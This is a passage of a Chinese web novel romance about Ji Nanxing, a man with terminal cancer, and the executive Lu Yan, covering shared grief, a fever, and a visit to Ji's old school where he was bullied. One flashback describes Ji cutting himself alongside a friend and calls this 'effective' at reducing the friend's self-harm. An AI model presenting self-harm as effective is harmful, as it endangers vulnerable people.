季南星看着这个奢靡的阳光房,总觉得眼熟。 记忆里,肖雯当时就望着露台的方向,不知道看到了什么,突然痛哭不已,一路哭回了家。 考虑到陆宴他爸风流成性的品德,和肖女士之前拉皮条的前科,季南星一个大胆的猜想不由得浮现。 “那个……陆总,冒昧问一下,这是您母亲的院子,那您父亲他经常过来吗?” 他尽量斟酌措辞,生怕冒犯到陆宴,但陆宴神眉宇淡然,语气也没有波动:“很少,我妈去世后,他只来过两次。” 季南星霎时一愣,“对不起,我不知道……” “没事,很久之前的事情了。”陆宴淡淡道:“胃癌,早走也是解脱。” 季南星喉结滚了滚,之前他开玩笑,说陆宴照顾病患手法娴熟,是不是辅修过护理课程。 当时陆宴只平静道:“家里有人生过病,照顾过几天。” 原来,患病的是他的母亲。 “她长居国外,只有夏天回国一段时间。”陆宴抬眼,看向黑沉的天:“夏日节的烟花,是我外公生前送给她的礼物。这个房子我不常来,但每年这个时候,都会在。” 季南星对豪门贵族的秘辛了解不多,但陆家不是一般的豪门,多少听过一些。 陆志华风流成性,但这辈子依然只有一任妻子。陆志华和白小姐青梅竹马,门当户对,世人都说这两人的婚姻是天作之合,只是没料到,婚后不久,就陆续爆出陆志华出轨的桃色新闻。 再之后,白家小姐和陆志华分居,陆志华开始扩张亚洲地区的业务,经常跑国内,又祸害了不少女孩,许恒的母亲就在其中。 “陆宴。”季南星难得没有喊陆总,夜风吹起他的额发,他转头看向身边人,“你会想她吗。” “还好。”陆宴说:“她不太喜欢我,我们在一起的时间并不长,感情不深。” 季南星笑了笑,没说话。 最近这十年来,政策变动,环保局条件卡得越来越死,大过年连炮竹都不让放几个。尽管是这么苛刻的条件,这十年里,夏日节的烟花从未缺席。白家老爷十年前已经离世,这十年,是谁还在延续烟花大会的传统,答案可想而知。 父亲出轨,母亲不爱,可想而知,陆宴的童年生活大概没有媒体报道的那么顺遂。 夜晚的沧闻山格外寂静。 陆宴神情与往常相比并无不同,依旧是沉静冷峻的面容,只是深邃的眉眼微垂,在黑沉的夜空下,显出些许落寞。 良久,他眉梢动了动,声音低沉。 “我母亲,她生前不太愿意见我。或许走后,也不太希望我想她。”《 》 8、第8章 “我尽量让自己不去想她。” 陆宴说得平静,季南星看着他抿紧的唇,突然感同身受地轻笑了声。 他撑在栏杆上,感受夜风拂面的痛快,闭了闭眼又睁开,“陆宴,你看过我的资料,应该知道,我母亲前段时间刚走,不巧,也是癌症。” “抱歉。”陆宴低声说。 季南星摇摇头,“没什么好抱歉的,人走都走了。” 他望向前方,语气轻了些,“我妈……肖女士对我算不上好,甚至有时候我觉得她对我很差,可是她走的那天,我握着她的手,看着她手指慢慢变冷,一动不动的样子,突然就觉得,整个世界都空了一块。” “说起来也很……可笑,她活着的时候,我没觉得自己多在乎她,甚至有很长一段时间里,我觉得我应该恨她。可她真走了,我又开始后悔,后悔之前没对她好一点,后悔没说过一句爱她的话。” “从前看那些鸡汤文学,说烟花是连接人类灵魂和集体记忆的线……我以前不信。” 季南星笑了笑,指尖划过高空掠过的一道飞机尾迹。 “你知道的,我们这种行业的人一般都不浪漫,就觉得那是商家为了销量说出的唬人的话。可是有一年,我在沙漠出差,是个跨国合作项目,过年也回不去。基地离国境线很近,除夕夜的时候,隔着一条国境线,另一头的村子放了一整夜的烟花。” “很好看。” 他在夜风里轻松地吐了口气,转头看向陆宴,眼底闪着亮光。 “我不知道怎么形容那种感觉,就是……很奇妙,明明只是看过无数次的烟花,甚至算不上好看。但那个瞬间,我突然很想她。我打开手机,拍了张照片发过去。” 他失笑了声,又看向黑沉的夜空:“但沙漠里信号很差,图片还没转过去的时候,我先收到了她发给我的照片。” “也是烟花,a市的烟花。” “我那时候愣了很久。沙漠的夜那么冷,国境线对面热热闹闹,小孩玩着炮竹,大人点着烟花玩,隔着一道界线,朝我们大喊‘除夕快乐’。” “明明互相隔了那么远,可那个晚上,我莫名觉得,她离我很近。” “那时我突然信了。” 他微微眯起眼,清润的脸上露出一个温和的浅笑。 “陆宴,原来烟花,真的是那条线。” 夜幕低垂。 高空中,一点亮光从平地窜起来,咻—— 夏日节的烟花带着尖锐的尾音划破夜幕。 季南星回头看向陆宴,眼里映着远处的灯影,“我很想她,也有很多话想和她说。” 升起的烟花在夜空中炸开,人群的欢呼声从山下传来。 夜风将他们的额发吹乱,季南星的声音轻得像散在风里。 “可她走得突然,想说什么都来不及,也没机会。我这个人,不太会信什么人有来世,也不会说什么浪漫的话。但如果注定再也见不到,那些没机会说的话,不如都说给烟花听吧。” 盛大的烟花像流星般坠地,绚丽的光彩点亮了头顶的夜空,也照亮季南星剔透的眼瞳,明亮得像盛了半罐星光。 “陆宴,你的心意,她会听到的。” 烟花绽放的巨响在寂静的夜里震耳欲聋,夜风掠过,人群的呼声热闹而熙攘。 陆宴看着季南星清润温和的笑颜,却感到前所未有的沉静。 黑沉的天,绚丽的烟花,热烈的欢呼……全部消失不见。 万籁寂静里,他只听见季南星轻柔的声音,以及自己,急促的、颤动的心跳声。 * 接连淋了半个小时雨,又在阳台吹了一会风,当晚,季南星发了高烧。 次日一早,管家敲了好一会的门都没人应,陆宴一进去,才发现他已经烧成小火人。 季南星这一觉睡得昏昏沉沉,浑身烫得厉害,迷迷糊糊里有一个大冰块砸在他身侧,散着清淡的冷香,很凉。 他不自觉地靠过去,用大冰块贴着脸,试图给高热的皮肤降温。 热烫的气息从手掌传导过来,陆宴没有说话,也没有把手抽走,他静静看着季南星抓着他的手,感受季南星在他手心的呼吸。 很热,很烫,起起伏伏,有点弱,却很真实。 季南星发着高热,瘦削的身体蜷缩在薄被里,像耷拉着耳尖的猫,没有安全感地蹙着眉,睡得很不安稳。 大概是发烧,他往常苍白的脸色如今覆着一层薄红,连眼皮和耳尖都泛着热意,长睫随着呼吸轻颤着,薄薄的嘴唇轻哼几声呓语,听不清楚,像嘤咛。 陆宴帮他量了体温,38.7,低烧。 烧得不严重,可季南星睡了十几个小时,还是没有醒的迹象。 于助理带着医生来的时候,陆宴正一边打电话,一边给病人盖退烧贴。 跟了陆宴6年,于晨第一次见到老板这么不“陆总”的时候。 陆宴穿着一身深色睡衣,头发没有打理,踩着家居拖鞋,眉头微蹙,往常淡漠的眼底露出几分担忧。 他开着电话会议,但讲话声音放得很轻。 “陆总。”于晨轻轻喊了声。 陆宴回头,给医生让位,“昨晚淋了点雨,还吹了风,低烧,但人一直不醒。” 陆宴去书房开会,张昊偷偷跟于晨蛐蛐道:“这位到底什么来头啊,陆宴这么上心,他这是老树开花啦?” 于晨无语瞧他一眼:“你能不能有点医德,先看病。” “只是小低烧而已,能有什么问题。” 但季南星的情况比张医生预料的要惊险得多,明明只是低烧,但15个小时过去了,人还是没有一点要醒的迹象。 张昊犯难地嘟囔:“真就一个小发烧,我水平没问题啊,怎么会睡这么久?” 于晨无奈,只能把季南星的情况说了一通,“癌症晚期,没几天了。” 张医生顿时愣住,一张嘴张了半天,最后呐呐道:“这、那……” 见他为难的模样,于晨疑惑:“怎么了?” 张昊看着病人沉睡的脸,皱起眉:“虽然我不是这个方向的,但晚期的病人一天一个状态,你们……你们要做好他醒不来的准备。” 他说完,才发现身后不知道什么时候落了道人影。 陆宴单手握在门把上,额发遮住他半边眉眼,下半张脸隐没在门口的阴影里,看不清神色。 张昊猛地心里一沉,连忙补充道:“也不是说完全醒不来,但确实有这种可能……” “出去。” 陆宴冷冷打断道。 张昊哽了下,跟于晨对视一眼,齐齐退到门口。 出于医者本心,临到门口,张昊又回头,朝床边的背影说:“陆宴,我知道这话说得不好听。但就算他这次醒了,也熬不了多久……都说人为胜天定,但有时候天定就是天定,该看开就看开点吧。” 凌晨的时候,季南星终于醒了。 他嘴唇干得厉害,喉咙好像有把火在烧,发出的声音像烧干的柴火声,不成调。 陆宴打开床头灯,手掌虚虚挡在他面前,等待季南星的视网膜适应过亮的光线。 季南星想坐起来,却没力气。 四肢像灌了水,沉得无力动弹,他微微侧着身,睡衣领口垂下来,瘦削的躯体在陆宴过大的衣服里晃荡,上身因为病着泛着薄薄的红,纤薄的皮紧贴着侧腰,薄得像一片纸。 带着热度的手掌轻易地握住那截腰。陆宴扶着他坐起来,靠在自己肩上。季南星下意识觉得太亲密,可身上软绵绵,他没有多余的力气,只能虚虚抵着他,任由陆宴捧着温水过来,就着这个超出社交范围的拥抱,喂他吃药。 他像个没有行动能力的破布娃娃,任由陆宴摆弄,眼帘半敛,脑袋靠在陆宴肩上,连呼吸也带着热气。 “好一些了吗?” 头顶传来陆宴的声音,有些哑,还有点干涩,与他往常清冷的声线很不同。 季南星缓慢地掀起眼皮,才发现陆宴头发有些乱,上衣堆了很多褶皱,很凌乱的模样,显得很不“陆宴”。 窗外一片昏暗,月光从缝隙漏进来,映着陆宴轮廓分明的侧脸。 药效起效,他清醒了些,哑着声问:“现在几点了?” “凌晨3点。你发烧了,睡了27个小时。” 季南星一顿,琥珀般的瞳孔透出讶异:“怎么这么久……发个烧而已。” 话一说完,他自己先愣住了。 他身体说不上好,但偶尔也爬爬山,跑跑健身房,也绝对算不上不差。 可一朝癌症晚期,身体机能直线下降,疼起来的时候,他连自己吃药都做不到。 现在,连随随便便的发烧感冒,都有可能提前终结他的寿命。 季南星不知道陆宴在这里待了多久,但从沙发的褶皱程度看,应该不会短。 他虚虚抬眼,认真轻柔地朝身上人道:“陆宴,这两天,麻烦你了。” “不客气。” 陆宴的语调一如既往地平静,似乎又变回那个克制冷静的陆大总裁,只是肩膀不可察地卸下来,像突然松了口气一样。 他把水杯拿走,手掌相接的时候,季南星发现他指尖渗着一层薄薄的细汗。 * 病去如抽丝,季南星被强行留在陆宴家里养病。 第三天,他沉甸甸的脑袋终于恢复几缕清明,只是身上还是疲倦,提不起什么精神。 打扰了三天,季南星识趣准备请辞。 他那天淋雨的衣服被管家收起来,临走前,他在房间里翻找了下,没找着。 推开门,他想也没醒询问道:“陆宴,你看见我衣服了吗?” 空气突然变得死寂,十几道黑压压的视线投过来。 季南星一抬眼,才发现楼下客厅黑压压坐着一排高级打工人,个个西装革履,气宇轩昂,发胶在灯光下闪闪发亮。 只是,高级打工人们望着出现在二楼的,穿着老板宽大睡衣的,面色薄红的漂亮男生,脸色都露出了见了鬼的表情。 其中,替许桓来开会的助理盯着楼上熟悉的人影,一句国粹没控制住冒出来,彻底打破了客厅的死寂。 “卧槽,季、季先生!”《 》 9、第9章 空气无声僵硬了半分钟。 季南星看着楼下黑压压的人头,脑袋里的眩晕瞬间都跑没了,他圆润的眼睛猛地睁大,清丽的脸色满是惊讶之色,连原本准备好的请辞话术都忘得一干二净。 楼下,许桓助理看着他的眼神灼热的吓人,眼冒精光,嘴唇抽动,活像撞见了捉奸现场。 很快,一道冷得能把人冻成冰碴的视线扫过来,助理登时僵住。 陆宴不紧不慢放下手头的文件,挡住吃瓜群众热情的目光,缓缓道:“在我房间。怎么了,我的衣服不合身吗。” 许桓助理瞳孔震惊,一句国粹又不小心冒出来,众人钦佩的眼神望过来,他马上捂住了嘴。 陆宴一说完,季南星人都要麻了。 虽然知道陆大总裁脑回路向来惊人,但这种场合,说这种话,也太太太太惊人了! 他微愠的眼睛猫一样圆睁着,有些生气地朝陆宴看。 陆宴跟接收不到他信息一样,不疾不徐道:“一会给你送过去,时间还早,可以再睡会。” 已经开了三小时会的牛马人面面相觑,敢怒不敢言。 气氛僵住,于晨看了眼乐在其中的老板,又瞥了眼脸红得滴血的季先生,很命苦地叹了口气。 三言两语遣散了会议。 许桓的助理一步三回头地往后看,陆宴冷冷给于晨使了个眼色,后者了然,托了托金丝眼睛,微笑着把助理喊过去“友好谈话”。 一番插曲没打消季南星请辞的打算。 尴尬是尴尬了点,但该走还是得走,非亲非故的,赖在别人家里养病,不太合适。 他换回自己的衣服,一推门,房门口又杵了个肩宽腿长的人影。 陆宴倚靠在门边,手里拿了串车钥匙,道:“我送你。” 轿车缓缓驶过盘山公路。 晚夏的日光洒在陆宴半边脸上,深邃的眉眼镀了层柔和的光,消减了些许凌厉感,和往常冷肃沉静的气质很不一样。 季南星没忍住多看了两眼,结果还没移开目光就被逮了个正着。 “看我做什么,怎么了?” “没什么。” 偷看被抓包,季南星讪讪别过头,他指了个方位,道:“你一会把我放在医院楼下地铁口吧,时间还早,我转转再回去。” 算算日子,他余下的日子满打满算不到两个半月,没多少时间。 都说大限将至,人生就像走马灯一样在眼前闪过。脑癌患者晚期病情加剧,医生说,或许有一天睡着了就再也醒不来。 季南星保不准自己会不会也有这一天,决定趁现在还能走动,故地重游,把自己不算完美的人生路再走一遍。 但陆宴没把他送过去。 轿车驶下山道,在码头广场熄火,不远处的水面泛着粼粼波光。 陆宴停好车,拿出手机给于助理发了几条信息,而后娴熟地将手机调成免打扰模式,熄屏,朝季南星道:“想去哪?” 季南星看着他自然无比的旷工流程,惊讶抬眼:“你都三天没去上班了,再这么下去,于助理不起义吗?” “不会,我给钱了,给了很多,他很开心。想去哪儿?” 季南星不好意思让金尊玉贵的大总裁当司机,但陆宴固执起来八只袋鼠都拦不下来,他只能放弃挣扎,顺从地说了个地名。 是季南星的高中。 a市作为亚洲最繁华的城市,教育资源用命在卷,那么多顶级私校公校数下来,都跟季南星没什么关系。 他出生在a市石桥镇,小镇离a市中心区驱车2个多小时,几乎处在都市丽人鄙视链的底端。 石桥高中更是,教育链底端中的底端,十年前的师资情况,大概是一个年级凑不出两个本科老师的凄惨。 但偏偏这么一个破烂学校,当年理科前十占了俩。 时至今日,学校的公告栏上,还明晃晃挂着当初“恭喜我校季南星同学和许桓同学夺得全国理科前十”的公告信。 陆宴早就看过季南星的资料,但当看到公告栏上季南星和许桓并列的图片时,还是不自觉停下脚步。 照片上,季南星脸色比现在还要苍白,微垂眼皮,嘴角下沉,目光平直地望着前方,神色厌倦。 “怎么拍得这么傻啊,挂这么多年了还挂着。”季南星不满意说着,但他看向隔壁的许桓,顿时轻笑出声:“他看上去比我还傻,心理平衡了。” 许桓变化比季南星更大,一副厌世自闭的模样,跟现在那个情史丰富的浪荡二少爷相去甚远。 正值周末,校园里稀稀疏疏,没什么人,一路畅通无阻,季南星带着陆宴往操场后走。 “变化挺大的,以前操场小小一个,跑个八百米得费劲跑4圈,也没有硅胶跑带,就洒了一地黑石子,夏天跑起来像在烤铁板烧。” 陆宴应了声,解释道:“把许桓接走后,陆志华给学校捐了200万。” “人走了才想起负责任,早干嘛去了。”季南星不客气地嘟囔,说完才想起那也是陆宴的爸。 但陆宴并不在意,只问:“你在找什么?” 季南星带他在操场后面的小平房绕了一圈,也没找到十年前的安全屋。 “……估计是改建拆没了。” 他低声说着,随手推开一扇破旧的门,咔吱一声——尘土扑面而来。 “咳咳——” 季南星咳得厉害,没好全的脸又挂上病态的红。 陆宴拽过他,挡在他身前。他比季南星高大半个头,又常年健身,体型的差距摆在这,他几乎把季南星整个人罩在怀里。 “还好吗?” “没、没事……就是这灰,也太大了。” 季南星扇了扇,回了神才发现自己的脑袋几乎靠在陆宴肩窝,正要挪开,额头却传来微凉的触感。 “嗯?” 季南星迷蒙地抬起眼。《 》 10、第10章 季南星病没好全,说话带着很重的鼻音,两颊泛着红,浓密黑长的睫毛快速翕动,琥珀般的眼睛有点懵,眼底装着一层薄薄的水雾。 陆宴垂眼看着他,贴着他额头的手掌顿了半刻,而后很快收回眼神,面不改色道:“你脸有点红。” 季南星后知后觉用手背贴了贴自己的脸,有点烫,他捂了两下,小声道:“没事,估计只是咳的,昨晚就退烧了。” “嗯。”陆宴轻声应着,将他把耳侧微乱的碎发拨正,露出泛着薄红的润白耳垂。 季南星下意识躲了躲,但很快,陆宴收回手,退回到正常的社交距离。 季南星狐疑地看着他后撤的脚步,总觉得哪里不太对劲。 陆宴今天一身休闲装,白衣黑裤,额发没有梳上去,柔顺地垂着,减了几分往日的凌厉,只是依然透着些疏离。 平心而论,陆宴很会照顾病患。 大概是照顾过母亲的缘故,大部分时候,陆宴比护工阿姐还要清楚癌症晚期的病人会出现什么不适情况,更比季南星这个患者本人都要清楚药物配比和功效。 但有时候,他照顾得实在过于细心,以至于过了界。 基于陆宴自然的反应,季南星时常怀疑那些过度亲密的接触是自己的错觉。毕竟,每次季南星起了疑虑,有所怀疑,陆宴又会马上克制地松手,拉开距离。 就像现在,他再一次抽身,季南星停在他半步外,只有额头方才清凉的触感提醒他,频繁的肢体接触真实存在。 他张了张嘴,却没说话,显得局促。 陆宴面不改色看向他,神情自然:“怎么了?” 他浓密的睫毛半敛下来,微垂着眼眸,专注而真诚的目光落在季南星脸上。 一如既往的,陆宴式的、固执而灼热的眼神。 季南星感觉自己脸又烧起来,大概是发烧还没好。 他别过头,讪讪地摸了摸耳垂,很轻地说:“没什么。” 破旧的保健室与十年前没什么不同,只是多了许多堆叠的杂物。 季南星面前堵了几个挡路的木箱,他刚想上手搬开,身边的陆宴已经先一步动手。 他卷起白衬衫袖子,弯下腰将木箱挪开,充满力量感的肩背紧绷着,裸露的小臂青筋微凸,肌肉线条流畅而有力。 季南星看了看那截刚劲的小臂,又低头捏了捏自己瘦得掐不出多余脂肪的手腕,瘪了瘪嘴,有些挫败。 最后一个木箱挪开,露出墙面沾满灰的涂鸦。 季南星探着脑袋挤过来,见状眼底亮了些:“居然这么久还在啊……” “这是什么?” 季南星眯着眼睛笑起来:“年轻时候不懂事,一些随手画的小玩意。” 陆宴知道季南星画画,但不知道他的画风如此……独特。 十几个火柴人以不同的姿势卧倒在地,面目全非,鼻青脸肿,衬得踩在他们身上的“主角”格外威风帅气。 陆宴沉默地欣赏完,点头:“嗯,画得很好。” 季南星噗嗤笑了声,带着点鼻音,很可爱。 他眼睛弯成一轮明亮的弯月,朝陆宴道:“你还真能夸出口。” “嗯,好看。”陆宴毫无负担再次道。 季南星看着他面不改色的模样,调笑道:“陆总,我收回以前对你的评价,你挺会说话的……睁着眼睛说瞎话,难怪你能做生意赚大钱。” 陆宴轻轻应了声,说:“不常说,你喜欢的话,我可以学。” 季南星当即哽了一下。 怪异。 非常地怪异。 他看着这张近在咫尺的脸。 一张熟悉却又更惊艳的脸,比他不知道在哪个酒吧大醉淋漓的前男友还要帅两个度。 平心而论,作为一个性取向为男的正常男性,面对这么一张完全踩在自己审美点上的脸,季南星很难不心动。 但一想到这人是前男友他哥,那点对美色的欣赏也瞬间荡然无存。 陆宴依旧灼热地看着他,季南星不自在地转过身去,看着半墙涂鸦,越来越觉得或许根本不是他的错觉。 身后人适时开口,打破空气中的尴尬。 “所以,这是什么。” 季南星局促地干咳了两声,才瞥向涂鸦,介绍道:“以前上学无聊的时候,偶尔会过来画点东西。” “喏,这个是我们高中出了名的刺头,家里有点小钱,在学校揽了帮小弟,看谁家里穷就踩两脚,成绩和人品一样差。” “这个是……好像是我们班体育委员,叫铁头,很会看人下菜,也没干什么好事。” “这个头上画个叉的,成绩还不错,看着也人模狗样的,其实他最坏,是老师的狗腿子,人缘不错,但暗戳戳地孤立你,使小绊子穿小鞋最在行……” 季南星一个个介绍过去,刚才那一点不自在也慢慢褪下去。 鼻青脸肿的火柴人播报完毕,他目光落在涂鸦上方穿披风戴墨镜的“主角”,眼底盈上些许笑意。 这回,不等他开口,陆宴缓缓道:“这是你。” “嗯,是我。”季南星笑着点头,语气带着怀念:“那时候才13岁,想法也有点幼稚……” 他笑起来的模样带着朝气,像云雾拨开,蒙尘的月终于露出皎洁的亮光,很像陆宴放在桌面上的那张照片。 可面对这样温和的笑意,陆宴并没有被感染。 季南星介绍了人物,介绍了内容,但独独没有介绍为什么会留下这样一幅画。 他扫了一眼涂鸦,垂眼看着季南星,平静的语气不像询问。 “季南星,他们当时都欺负你,是吗?” 话音一落,季南星当即愣了半秒,“陆总,你们当总裁的说话都这么直接吗?” 陆宴固执又平静地追问:“是吗?” 季南星拍了拍手上的灰,轻声应了一句。 “石桥高中生源和师资都不高,青春叛逆期的刺头,老师家长都讲不听,冲动幼稚,霸凌和排挤都是常有的事。” 他不带任何怨怼地解释,语气平静,平静得好像被霸凌的过往从不存在一样。 如果陆宴没有看过他的资料,或许会以为,在这场校园霸凌里,季南星只是一个无关紧要的看客。 和谈起病情和寿命时同样,他依然说得毫不在意又漫不经心。 但陆宴在意,他扫过那面墙,语气冷下来:“他们欺负你,许桓呢?” 许桓? 许桓的下场跟季南星差不了多少。 高一入学不久,季南星和许桓成为被霸凌围殴的对象,架打了不少,最后闹到校长那去,挨个通知家长。 其他人的家长都来了,只有许桓和季南星的家长没来。 十年前偏僻小镇的老师都没什么师德,当着面,跟校长解释,说:“这俩的家长,一个是神经病,一个是出来卖的。” 那时季南星还没那么习惯隐忍,跟许桓对视一眼,一人一拳照着那老师砸过去,记了大过。 原本结果会更严重,但第一次大考的成绩出来后,所有处罚都轻轻揭过。 没权没势的时候,成绩就是高中最好的保护色。 随着考试越来越多,明面上的霸凌也都隐形,尽管小动作和闲言碎语没少,但至少没有人再把他锁在女厕所一整晚,也不碍着他刷题备考。 十年前,季南星在这个安全屋,窝囊地用阿q胜利法安慰自己。 没关系的,会好的。 只要熬过去,忍过去,考上a大,离开这里,脱离肖雯,未来会变好的。 他确实熬了,也忍了,考上了a大,在市中心买了房,他没有脱离肖女士,但随着年龄增长,他渐渐能理解肖雯的苦衷,也和她缓和了关系。 他的未来确实如十年前的愿望一样,慢慢变好。 可惜好景不长,上帝的眷顾就像夏日节的烟花,转瞬即逝,也戛然而止。 一纸癌症晚期的证明猝不及防砸下来,未来一切都成了空谈。 * 石桥高中不大,但环山绕水,风景不错,季南星又带陆宴转了一圈。 考虑到他刚刚关心起许桓,季南星还向他着重介绍了许桓高中时生活轨迹。 “他以前挺自闭的一个人,也不爱说话。我们俩都没什么朋友,下了晚自习,就在这里背单词……他那会跟现在挺不一样的,很努力也很坚定,不知道怎么变成现在这个样子了。” 他断断续续讲了一些许桓的旧事,陆大总裁却不太领情。 他漫不经心地应了两声,突然站定,神色淡淡地看过来。 “季南星,你们不是分手了吗?”《 》 11、第11章 “你们不是分手了吗?” “嗯?” 季南星脚步一顿,“他不是你弟弟吗?我看你们感情很好才说的。” “不好。” 陆宴看着他,声音泛着冷意:“也不熟。” 关系不好? 关系不好,那陆宴找到他病房里来劝复合干嘛? 像是看出他的困惑,陆宴面无表情解释道:“你们分手后,许桓喝多了,要割腕,说只有这样,你才会去看他。” 季南星心里猛然一沉。 许桓高中时抑郁症很严重。 他家里情况特殊,母亲疯疯癫癫,正常的时候看他像个仇人,咒骂殴打是常有的事,不正常的时候,又自己拿了刀递到许桓手里,哭着求他:“儿子,你杀了我吧,要不是因为你,我怎么会变成现在这样!” 那时许桓还不知道自己的父亲是富甲一方的陆志华。 他将母亲的悲惨归咎在自己身上,阴郁自闭,情绪很不稳定。有时,只是错了一道数学题,漏写一个单词都会瞬间崩溃。 自厌、自残是他最常用的排解方式。 季南星发现他手上的伤疤后,劝过,却没什么用。 后来,许桓划一道,他也跟着划一道。手段很偏激,但确实有效,自那以后,许桓犯病次数少了很多。 时隔八年,许桓变了许多,原以为他病好全了,没想到也没好多少。 季南星思忖了会,还是问了句:“他没事吧?” 陆宴几乎马上转过头来,眼底阴沉沉的,“你很关心他。” “那总不能闹出人命……”他小声说着,又觉得许桓不至于真那么极端,“终归我们也分手了,你们当家长的能劝就劝吧,我也不好说什么。” “他是成年人,他知道自己在做什么。”陆宴冷漠道,“季南星,他这是道德绑架。” 季南星瞥了他一眼,心想原来你也知道啊。 最初在病房赖着不走要他跟许桓复合的人,可不就是你陆大总裁嘛。 他内心腹诽着,面上没什么表情。 陆宴不知道误解了什么,突然停住脚步,冷肃道:“他只是在演戏,季南星,你不能心软。” “我没心软,只是……只是好歹同学一场,礼貌性问问。” 陆宴黑沉的眼睛盯着他,像在判断他话里的真实性。 季南星被盯得头皮发麻,“真没心软……” 他说着,突然心里一顿。 不对啊,陆宴一开始不是为了劝复合才来的吗? 他狐疑地抬眼,陆大总裁冷着一张俊脸,眉梢前压,嘴角下沉,周身的凌厉感又强了两个度。 季南星侧了侧头,探究道:“陆宴,你不是为了许桓才找上我的吗?” 陆宴身形猛地一僵,眼底微光闪过,他快速别开眼,绷紧的嘴角不可察地抖了一下。 “起初是。”他说。 “嗯?那现在呢?” 季南星奇怪地盯着他,他这会气色不错,脸色红润,唇红齿白。琥珀色的眼珠睁大,眼底的疲倦被好奇取代,亮晶晶的,像盛了两簇日光。 陆宴余光瞥了一眼,不知道为什么,声音不太自然。 “现在不是了。” 他别过头,眼神错开,像在盯着路边的梧桐树,只留给季南星一个淡漠的侧脸和不自觉滑动的喉结。 季南星听得一头雾水。 这话说跟没说一样,陆宴别别扭扭的,跟往常说一不二的果断模样很不同。 他探究地望过去,却倏忽顿住。 正值黄昏,落日的暖光在梧桐树下,陆宴的侧脸在日光下泛着一层柔光。 陆宴的母亲是混血儿,他很好继承了母亲的混血基因,五官立体,身形高挑,大部分时候让人感到很强的距离感。 可眼下,隔在他身上的那层冷雾突然消失不见,他少见地局促,错开的眼神不似冷漠,像落荒而逃。 少见的,一个柔和的、无措的陆宴。 六月底的风带着潮湿和热气,吹得人昏昏欲睡。 季南星不合时宜地想起他第一次“见”到陆宴时的场景。 不是华务楼下的那次碰撞。 是在四年前。 那时季南星即将毕业,宿舍里的其他三人都是金融专业,作为金融人的梦司,华务和当时刚空降过来的掌权人陆宴成为宿舍话题的常客。 季南星一个航天专业的插不进话,也不感兴趣。 某天晚上,他们照常讨论着什么,说得很激动。 季南星戴着耳机写论文,突然听见有人喊自己的名字。 一抬眼,室友a拿着一份财经杂志摆在他脸边,朝其他两个人朗声道:“你们看吧,是不是跟小季一样帅!” “照片都是p的!这些上市公司的老总,就爱把自己p成大帅哥,我要是有钱,我也天天让人给我修成吴彦祖。” “也不一定,我表哥在华务子公司,见过陆宴一次,也说挺帅的。但帅成这样,我觉得不至于。长成这样还当什么总裁啊,演戏去得了。” “你们就酸吧。”室友a冷哼了声:“反正我昨天见了,只能说,照片都拍保守了,信不信随你们!” 那本财经杂志遗留在季南星桌上,摊开的页面里,陆宴一身黑色得体的西服,一手搭在车门上,长腿迈开一步,微微弯着腰,准备上车的时候被抓拍下来。黑沉的眸子冷冷扫过来,矜贵冷峻的面容被镜头完美捕捉。 宿舍里三个人吵得不可开交。 季南星端详了一会,把杂志还回去,顺口说了句:“是很帅,不像p的。” 讨论声顿时停住,室友跟见鬼一样看着他。 季南星不爱说话,也从不参与这些垃圾话题的讨论,难得吱了一声,大家都觉得稀奇。 他当时也没什么想法,欣赏美色是人之常情。 当然,更重要的是,匆匆的那一眼,他想起了许桓。 同父异母,许桓和陆宴五官有些像,只是陆宴骨相更立体,皮相更冷峻,因而整个人气质也更“生人勿近”。 看惯了淡漠疏离的陆宴,眼下,看着这个莫名慌乱起来的陆宴,季南星觉得新鲜。 他不动声色打量了两眼。 突然想起他们宿舍那个自毕业以后,没什么人说话的的微信群。 很突兀的,季南星想跳脱地跟室友a说一句。 是帅的。 很客观的帅气,照片确实没拍出真人的十分之一。 * 两人并肩出了校园,太阳已经下山。 期间护工姐姐打电话来问季南星的身体情况。 季南星随口应付了几句,阿姐细心,一直放心不下。直到身旁的陆宴喊了他一声,阿姐听见陆宴的声音,顿时话锋一转,道:“陆先生也跟您一起呢,那我就放心了!” 挂了电话,季南星没忍住嘟囔,“怎么还区别对待呢。” 陆宴站在他身侧,听见声音应了句:“不回去吗?” 石桥镇离得远,难得来一次,季南星没着急回去。 他今天精神不错,几乎没有一丝病气,整个人笑吟吟的,说不出的朝气。 “来都来了,当然得吃点地道的再走。” 他带着陆宴在一个糖水铺面前停下,铁皮闸门拉下来,只留下一道细小的缝。 陆宴瞥了一眼招牌,阿峰糖水铺。 “没开门。”他说。 季南星朝他眨眨眼睛,一副“看我的”的得意模样 下一秒,季南星卷起袖子拍门,高喊:“峰哥峰哥!出来干活接客了!” 啪啪敲了好一会,铁皮闸门后传来一道粗犷的声音:“关门了关门了,没看这门关着吗,敲什么敲……” “诶,南星!”骂声停住,老板一把升起闸门,眼睛一亮:“好家伙,你小子还知道回来啊!” “峰哥!”季南星应了声,被老板揽着往里走。 “这都十年了,你小子考上a大翅膀硬了,说好了等你飞黄腾达回来照顾我生意的。我可听说了,进航天研究所了,出息了!” 峰哥见着季南星跟见着香饽饽似的,叨叨了好一会才看见他身后跟着的陆宴。 “哟!这小伙,看着眼熟。”他自来熟地拍了拍陆宴的肩,“这长势……得够上一米九了吧,这么大高个呢,肌肉练得真不错!” 峰哥带着些许油污的手在陆大总裁5位数的衬衫上又拍又打,季南星看得心惊,但陆宴只淡淡颔首:“您好,我是季南星的朋友。” 峰哥打量他一会,突然了然似的拉长了声音,“朋友,害,朋友啊——” 他过分热情地招呼陆宴坐下:“来来来,你们先坐,你们俩小子,我记得,还是老规矩,等着,一会给你们端上来!” 峰哥像一阵风,呼呼说完,转身钻进后边忙活。 季南星琢磨着他的话,总觉得哪哪不对劲,但没品过来。 直到两碗熟悉的糖水端上来,他才终于反应过来—— 这他亲爷爷的,是许桓爱喝的口味! “来来,你小子不吃甜,放点糖都皱眉头的,你峰哥记性不错吧?” 峰哥邀功似的把那碗纯苦的糖水端到陆宴面前。 季南星咬着牙道:“您这记性也用不着这么好。” “害,要不咋说我们这十年老店屹立不倒,每个熟客的口味我记得清清楚楚!” 季南星疯狂朝峰哥暗示使眼色,后者沉浸在自己的丰功伟绩里,领悟不到一点。 陆宴看着他们一来一往,客气地朝峰哥道:“谢谢。但请帮我换碗加糖的,麻烦了。” 季南星有些尴尬:“抱歉,他眼神不好,认错人了。” 峰哥还是乐呵呵的,“没记错,就之前老和你处一块儿那小子,都长这么高了啊,比以前更帅了。你们俩成天跟连体婴儿似的,我能记错?” “哎……一晃眼这么多年过去了。我还记得你,当年你这小子哦,啧啧啧。” 峰哥朝季南星使了个眼神,又看向陆宴:“看这情况,终于追到手了?” 